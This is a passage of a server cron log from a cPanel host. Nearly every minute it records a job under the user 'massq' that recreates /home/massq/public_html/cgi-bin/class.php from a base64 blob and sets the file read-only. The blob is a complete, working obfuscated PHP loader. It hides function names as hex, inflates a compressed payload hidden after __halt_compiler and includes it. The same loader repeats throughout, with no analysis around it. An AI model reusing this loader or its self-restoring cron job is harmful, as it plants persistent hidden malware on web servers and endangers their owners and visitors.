"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:58:01 server CROND[22874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:59:01 server CROND[22933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:59:01 server CROND[22934]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr 10 03:00:01 server CROND[23005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:00:01 server CROND[23006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:00:01 server CROND[23007]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:00:01 server CROND[23008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:01:02 server CROND[23231]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 03:01:02 server CROND[23232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:01:02 server run-parts(/etc/cron.hourly)[23231]: starting 0anacron
Apr 10 03:01:02 server anacron[23245]: Anacron started on 2025-04-10
Apr 10 03:01:02 server anacron[23245]: Will run job `cron.daily' in 20 min.
Apr 10 03:01:02 server anacron[23245]: Jobs will be executed sequentially
Apr 10 03:01:02 server run-parts(/etc/cron.hourly)[23247]: finished 0anacron
Apr 10 03:02:01 server CROND[23307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:03:01 server CROND[23375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:04:01 server CROND[23447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:05:01 server CROND[23508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:05:01 server CROND[23509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:05:01 server CROND[23511]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 03:05:01 server CROND[23510]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:06:01 server CROND[23628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:07:01 server CROND[23781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:08:01 server CROND[23859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:09:01 server CROND[23925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:09:01 server CROND[23926]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 03:10:01 server CROND[23985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:10:01 server CROND[23987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:10:01 server CROND[23988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIi